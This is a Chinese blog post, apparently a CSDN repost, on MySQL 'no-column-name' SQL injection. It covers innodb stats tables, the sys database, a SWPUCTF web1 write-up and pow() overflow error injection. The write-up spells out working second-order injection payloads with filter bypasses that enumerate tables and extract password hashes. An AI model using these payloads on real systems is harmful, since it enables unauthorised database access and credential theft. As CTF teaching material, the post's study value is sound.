无列名注入

前言:布尔盲注,时间盲注,报错等这些注入已经层出不穷了,但是如果过滤了or或者information,那么这些注入就几乎很难实现了,所以很有必要了解一下无列名注入

无列名注入简述

所谓无列名注入其实是给列取一个别名,在or或者information被过滤掉的时候可以考虑用这个

下面是演示,首先看一下users表:
在这里插入图片描述
如果我们select 1,2,3;,看起来就像是一个虚拟的表名,该虚拟表的列名为1,2,3
在这里插入图片描述
接下来我们像这个表中插入数据,使用union:
select 1,2,3 union select * from users;
在这里插入图片描述
这样就相当于改了users表的列名,我们在加一个select,把列给选出来:
在这里插入图片描述
上面的语句会先执行括号里的内容,生成一个列名为123的users表,把它当成a,在选择2这一列,就得到了想要的数据

使用innodb存储引擎

Mysql在5.5.x版本后,默认使用innodb作为存储引擎

在Mysql 5.6.x版本后,innodb增添了两个新表,分别为
innodb_index_stats
innodb_table_stats

两个表都会存储数据库和对应的数据表,唯一与information_schema不同的是它没有列名

在这里插入图片描述
示例:select group_concat(table_name) from mysql.innodb_table_stats where database_name = schema()

所以需要配合使用无列名注入

sys数据库

Mysql版本>5.7时,新增了sys数据库,基础数据来自于performance_chema和information_schema两个库,但是本身数据库不存储数据

而且值得一提的是MySQL好像是默认关闭innodb数据库的,所以这也是一种新思路

sys有一些有用的表:

表名
schema_auto_increment_columns 只会显示有自增的表
schema_table_statistics_with_buffer 全部显示
x$schema_table_statistics_with_buffer 全部显示

在这里插入图片描述
但是需要用户是root权限才能查看sys数据库,所以要先看一下user()是不是root

参考文章:传送门

SWPUCTF web1

来到一个登陆框,注册账号登陆
在这里插入图片描述
在这里插入图片描述

进入申请发布广告,一开始以为是xss…

在这里插入图片描述

没想到广告名是一个二次注入点,测试了一下发现被禁一些东西:
空格 => 用/**/绕过
#,–+等注释符 => 直接在最后的数字前加’闭合
在这里插入图片描述
看一下二次注入的结果:
在这里插入图片描述
提示列的数不对,但是这里order也被过滤了,可以用group by 代替order by:
-2'/**/group/**/by/**/22,'1
在这里插入图片描述
在这里插入图片描述
没有报错,则列数为22
-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'2 2
在这里插入图片描述
得到回显,看一下数据库版本和user的权限:
-1'union/**/select/**/1,version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'2 2
在这里插入图片描述
看到用户权限为root,同时这题也禁用了报错函数和or,看来就是要使用sys数据库了

用sys.schema_auto_increment_columns查表名:
-1'union/**/select/**/1, (select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum ns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 ,19,20,21,'22
在这里插入图片描述
因为不知道列名,所以使用无列名注入:
-1'union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
上面的注入语句生成一个列名为123的虚拟表把第三列看成b,并插入users的数据,再进行选择b
在这里插入图片描述
得到第三列,看起来应该是密码,md5解密就是flag:swpuctf{Simple_Double_Injectin}

pow()溢出报错注入

pow(x,y)函数是计算x的y次方,但是如果计算值过大会溢出报错:

在这里插入图片描述
select 1 and 0 and pow(999,999);
在这里插入图片描述
select 1 and 1 and pow(999,999);
在这里插入图片描述
可以用在布尔盲注上

发布了22 篇原创文章 · 获赞 0 · 访问量 857

猜你喜欢

转载自blog.csdn.net/chasingin/article/details/103476001